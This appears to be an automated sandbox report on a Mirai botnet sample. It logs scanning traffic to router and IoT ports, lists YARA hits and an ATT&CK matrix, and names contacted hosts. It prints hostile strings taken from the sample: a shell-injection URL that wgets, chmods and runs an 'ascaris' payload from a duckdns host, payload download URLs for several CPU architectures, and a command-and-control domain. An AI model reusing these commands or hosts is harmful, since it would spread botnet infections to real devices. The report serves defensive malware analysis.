Source: unknown	Network traffic detected: HTTP traffic on port 32818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48466 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 32818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54970 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41142 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35630 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48466 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44076 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57016 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 57016
Source: unknown	Network traffic detected: HTTP traffic on port 53108 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56158 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 53108
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 56158
Source: unknown	Network traffic detected: HTTP traffic on port 38904 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 55508 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44594 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57380 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48466 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52124 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51748
Source: unknown	Network traffic detected: HTTP traffic on port 38626 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38636 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49598 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47360 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49598
Source: unknown	Network traffic detected: HTTP traffic on port 51334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47360 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38278 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 38278 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 38278 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 47360 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56512 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56548 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 56512
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 56548
Source: unknown	Network traffic detected: HTTP traffic on port 38278 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 41688
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38278 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 47360 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 57030 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 46206 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46196 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38278 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48466 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 41712
Source: unknown	Network traffic detected: HTTP traffic on port 43532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47360 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37422 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41898 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 41898 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54416 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45374 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54426 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45374 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58996 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45374 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41898 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32818 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 37950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59360 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52718 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58952 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45368 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45374 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 42364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42364
Source: unknown	Network traffic detected: HTTP traffic on port 35616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44744 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 44730
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 44744
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55740
Source: unknown	Network traffic detected: HTTP traffic on port 34574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55794
Source: unknown	Network traffic detected: HTTP traffic on port 43494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38278 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56024 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55838
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55842
Source: unknown	Network traffic detected: HTTP traffic on port 35616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55858
Source: unknown	Network traffic detected: HTTP traffic on port 44288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55868
Source: unknown	Network traffic detected: HTTP traffic on port 37950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55890
Source: unknown	Network traffic detected: HTTP traffic on port 43468 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56114
Source: unknown	Network traffic detected: HTTP traffic on port 35986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43468 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56160
Source: unknown	Network traffic detected: HTTP traffic on port 51688 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41058 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43468 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56196
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54966 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 54974 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43468 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35986 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 44288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33934 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48736 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33602 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35986 -> 52869

Source: /tmp/fMB6uAXjd0.elf (PID: 6235)

Queries kernel information via 'uname':

Jump to behavior

Source: fMB6uAXjd0.elf, 6235.1.0000562cf2b95000.0000562cf2c1a000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sparc
Source: fMB6uAXjd0.elf, 6235.1.0000562cf2b95000.0000562cf2c1a000.rw-.sdmp	Binary or memory string: ,V!/etc/qemu-binfmt/sparc
Source: fMB6uAXjd0.elf, 6235.1.00007fff8afb1000.00007fff8afd2000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/fMB6uAXjd0.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/fMB6uAXjd0.elf
Source: fMB6uAXjd0.elf, 6235.1.00007fff8afb1000.00007fff8afd2000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: fMB6uAXjd0.elf, type: SAMPLE
Source: Yara match	File source: 6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: fMB6uAXjd0.elf, type: SAMPLE
Source: Yara match	File source: 6235.1.00007ff2b0011000.00007ff2b0027000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	5 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	16 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	4 Ingress Tool Transfer	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
fMB6uAXjd0.elf	48%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
amkcnc.duckdns.org	11%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://127.0.0.1:52869/picdesc.xml	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm	1%	Virustotal		Browse
http://amkbins.duckdns.org/bins/ascaris.arm7;chmod	0%	Avira URL Cloud	safe
http://amkbins.duckdns.org/bins/ascaris.mips	0%	Avira URL Cloud	safe
http://amkbins.duckdns.org/gpon	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/picdesc.xml	1%	Virustotal		Browse
http://127.0.0.1/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://amkbins.duckdns.org/bins/ascaris.x86	0%	Avira URL Cloud	safe
http://amkbins.duckdns.org/bins/ascaris.arm7;	0%	Avira URL Cloud	safe
http://127.0.0.1:52869/wanipcn.xml	0%	Avira URL Cloud	safe
http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
amkcnc.duckdns.org	179.43.141.99	true	true	11%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:52869/picdesc.xml	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1:80/shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://127.0.0.1/cgi-bin/ViewLog.asp	true	Avira URL Cloud: safe	unknown
http://127.0.0.1:52869/wanipcn.xml	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://amkbins.duckdns.org/gpon	fMB6uAXjd0.elf	false	Avira URL Cloud: safe	unknown
http://amkbins.duckdns.org/bins/ascaris.arm7;chmod	fMB6uAXjd0.elf	false	Avira URL Cloud: safe	unknown
http://amkbins.duckdns.org/bins/ascaris.mips	fMB6uAXjd0.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	fMB6uAXjd0.elf	false		high
http://amkbins.duckdns.org/bins/ascaris.x86	fMB6uAXjd0.elf	false	Avira URL Cloud: safe	unknown
http://amkbins.duckdns.org/bins/ascaris.arm7;	fMB6uAXjd0.elf	false	Avira URL Cloud: safe	unknown
http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20-	fMB6uAXjd0.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	fMB6uAXjd0.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
85.21.130.24	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
117.187.200.200	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
190.184.235.215	unknown	Argentina	52369	NEOPHONEARGENTINASRLAR	false
189.22.25.216	unknown	Brazil	4230	CLAROSABR	false
212.29.109.90	unknown	Turkey	12861	DEKSARTR	false
75.217.32.62	unknown	United States	22394	CELLCOUS	false
61.113.34.213	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
181.238.180.227	unknown	Argentina	11664	TechtelLMDSComunicacionesInteractivasSAAR	false
5.136.235.228	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
102.236.206.203	unknown	unknown	36926	CKL1-ASNKE	false
157.166.40.115	unknown	United States	49964	VERIXI-BACKUPNETWORKBE	false
95.253.134.142	unknown	Italy	3269	ASN-IBSNAZIT	false
74.59.158.221	unknown	Canada	5769	VIDEOTRONCA	false
206.212.142.149	unknown	United States	33138	AS-NYPDUS	false
197.60.132.58	unknown	Egypt	8452	TE-ASTE-ASEG	false
5.76.224.153	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
37.111.12.140	unknown	Myanmar	133385	TELENORMYANMAR-ASTelenorMyanmarMM	false
206.33.161.75	unknown	United States	3356	LEVEL3US	false
46.125.102.18	unknown	Austria	8412	TMARennweg97-99AT	false
187.100.242.33	unknown	Brazil	27699	TELEFONICABRASILSABR	false
201.90.194.155	unknown	Brazil	4230	CLAROSABR	false
197.120.220.119	unknown	Egypt	36992	ETISALAT-MISREG	false
86.131.87.96	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
61.107.113.113	unknown	Korea Republic of	9457	DREAMX-ASDREAMLINECOKR	false
171.167.247.88	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
118.91.253.73	unknown	China	38525	NETSOFT-AS-IDNetsoftPTID	false
156.24.33.255	unknown	United States	29975	VODACOM-ZA	false
41.230.97.153	unknown	Tunisia	37705	TOPNETTN	false
110.83.4.154	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
171.49.194.108	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
195.140.182.241	unknown	Russian Federation	8410	NIR-ASRU	false
178.156.145.205	unknown	Romania	29119	SERVIHOSTING-ASAireNetworksES	false
170.26.92.112	unknown	United States	23410	NET-NASSAU-BOCESUS	false
202.216.32.65	unknown	Japan	4704	SANNETRakutenMobileIncJP	false
155.209.11.18	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
115.176.47.82	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
116.150.242.18	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
70.143.121.108	unknown	United States	7018	ATT-INTERNET4US	false
95.6.137.32	unknown	Turkey	9121	TTNETTR	false
54.150.59.224	unknown	United States	16509	AMAZON-02US	false
49.29.229.88	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
112.38.33.213	unknown	China	24444	CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany	false
206.135.201.198	unknown	United States	4565	MEGAPATH2-US	false
78.62.94.91	unknown	Lithuania	8764	TELIA-LIETUVALT	false
88.242.96.214	unknown	Turkey	9121	TTNETTR	false
88.9.29.185	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
80.200.250.34	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
37.137.43.61	unknown	Iran (ISLAMIC Republic Of)	57218	RIGHTELIR	false
190.29.50.123	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
196.19.248.121	unknown	Seychelles	134451	NME-INDONESIA-AS-APNewMediaExpressPteLtdID	false
164.194.71.77	unknown	United States	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
5.218.150.18	unknown	Iran (ISLAMIC Republic Of)	197207	MCCI-ASIR	false
159.11.175.94	unknown	United States	16983	AS16983US	false
175.248.208.237	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
157.148.253.238	unknown	China	17816	CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi	false
37.137.18.81	unknown	Iran (ISLAMIC Republic Of)	57218	RIGHTELIR	false
46.21.151.178	unknown	Netherlands	29802	HVC-ASUS	false
89.221.71.217	unknown	Estonia	3249	ESTPAKEE	false
80.236.21.76	unknown	France	21502	ASN-NUMERICABLEFR	false
78.59.153.38	unknown	Lithuania	8764	TELIA-LIETUVALT	false
181.11.124.41	unknown	Argentina	7303	TelecomArgentinaSAAR	false
27.53.74.56	unknown	Taiwan; Republic of China (ROC)	9674	FET-TWFarEastToneTelecommunicationCoLtdTW	false
79.187.20.88	unknown	Poland	5617	TPNETPL	false
41.85.136.15	unknown	South Africa	37525	BYTES-CON-1ZA	false
197.43.225.198	unknown	Egypt	8452	TE-ASTE-ASEG	false
112.100.37.4	unknown	China	17897	CHINATELECOM-HLJ-AS-APasnforHeilongjiangProvincialNeto	false
41.190.177.131	unknown	unknown	36974	AFNET-ASCI	false
160.82.191.233	unknown	United States	137	ASGARRConsortiumGARREU	false
38.212.73.124	unknown	United States	174	COGENT-174US	false
197.74.193.255	unknown	South Africa	16637	MTNNS-ASZA	false
37.191.245.97	unknown	Norway	57963	LYNET-INTERNETT-ASNO	false
118.223.87.106	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
200.165.250.45	unknown	Brazil	7738	TelemarNorteLesteSABR	false
61.61.214.185	unknown	Taiwan; Republic of China (ROC)	4662	QTCN-ASN1GCNetReachRangeIncTW	false
200.227.227.159	unknown	Brazil	4230	CLAROSABR	false
103.48.149.248	unknown	China	24000	LIHGL-AS-AP24hkglobalBGPHK	false
49.188.24.4	unknown	Australia	4804	MPX-ASMicroplexPTYLTDAU	false
197.149.160.136	unknown	South Africa	37438	GijimaZA	false
196.185.218.176	unknown	Tunisia	5438	ATI-TN	false
103.76.76.184	unknown	India	45194	SIPL-ASSysconInfowayPvtLtdIN	false
110.62.148.218	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
181.11.124.32	unknown	Argentina	7303	TelecomArgentinaSAAR	false
189.131.160.68	unknown	Mexico	8151	UninetSAdeCVMX	false
157.194.75.114	unknown	United States	4704	SANNETRakutenMobileIncJP	false
213.49.139.177	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
156.183.30.22	unknown	Egypt	36992	ETISALAT-MISREG	false
32.184.254.0	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
164.87.234.207	unknown	United States	27046	DNIC-ASBLK-27032-27159US	false
82.46.21.132	unknown	United Kingdom	5089	NTLGB	false
80.61.37.49	unknown	Netherlands	1136	KPNKPNNationalEU	false
200.182.9.76	unknown	Brazil	4230	CLAROSABR	false
213.126.201.232	unknown	Netherlands	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
189.93.133.0	unknown	Brazil	22085	ClaroSABR	false
190.11.24.88	unknown	Ecuador	28006	CORPORACIONNACIONALDETELECOMUNICACIONES-CNTEPEC	false
160.212.167.13	unknown	United States	13333	CCI-PA-AS-1US	false
122.144.69.48	unknown	Philippines	18396	PHILCOMCORP-MND-AS-APPLDT-PhilComIncPH	false
189.233.226.162	unknown	Mexico	8151	UninetSAdeCVMX	false
120.228.39.124	unknown	China	56047	CMNET-HUNAN-APChinaMobilecommunicationscorporationCN	false
156.61.82.5	unknown	United Kingdom	39400	LBH-ASCountyCouncilGB	false
44.105.65.92	unknown	United States	7377	UCSDUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
85.21.130.24	341HRlT4n3	Get hash	malicious	Browse
85.21.130.24	mQJnLaOZI1	Get hash	malicious	Browse
117.187.200.200	mVbmJM3SCY	Get hash	malicious	Browse
190.184.235.215	RAKTk3BUXi	Get hash	malicious	Browse
212.29.109.90	ZHD43k8LJI	Get hash	malicious	Browse
181.238.180.227	0xZU1uLFYs	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
amkcnc.duckdns.org	p5f1tBnSAO.elf	Get hash	malicious	Browse	179.43.141.99
	YeDwhgzK2r.elf	Get hash	malicious	Browse	179.43.141.99
	6gNfsIVk3c.elf	Get hash	malicious	Browse	179.43.141.99
	sDA8OTeNkA.elf	Get hash	malicious	Browse	179.43.163.105
	s2CFS8vyPC.elf	Get hash	malicious	Browse	179.43.163.105
	g7VzUD302F.elf	Get hash	malicious	Browse	179.43.163.105
	8hzOAJeX2d.elf	Get hash	malicious	Browse	179.43.163.105
	o5KPaxDWnd.elf	Get hash	malicious	Browse	179.43.163.105
	rx10EGmKyZ.elf	Get hash	malicious	Browse	179.43.163.105
	j0H36jpoaP.elf	Get hash	malicious	Browse	179.43.163.105
	UOW1n0that.elf	Get hash	malicious	Browse	179.43.163.105
	GMZa5kZEcn.elf	Get hash	malicious	Browse	179.43.163.105
	1i98SOkQ7J.elf	Get hash	malicious	Browse	45.95.55.237
	78vw5ddvh5.elf	Get hash	malicious	Browse	45.95.55.237
	h5mvYmi8ST.elf	Get hash	malicious	Browse	45.95.55.237

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CMNET-GDGuangdongMobileCommunicationCoLtdCN	RYV4l5fzE2.elf	Get hash	malicious	Browse	117.157.253.142
	ZLcy8BIwqa.elf	Get hash	malicious	Browse	39.179.64.72
	5ipYn74NOC.elf	Get hash	malicious	Browse	120.209.13.7
	AZBdEe85jU.elf	Get hash	malicious	Browse	111.51.66.237
	cBsSzN3kwT.elf	Get hash	malicious	Browse	111.48.103.40
	NDLfX4tyhe.elf	Get hash	malicious	Browse	117.135.237.149
	0CCjp5hffL.elf	Get hash	malicious	Browse	36.175.155.143
	http://cdn.examhome.net	Get hash	malicious	Browse	39.156.68.163
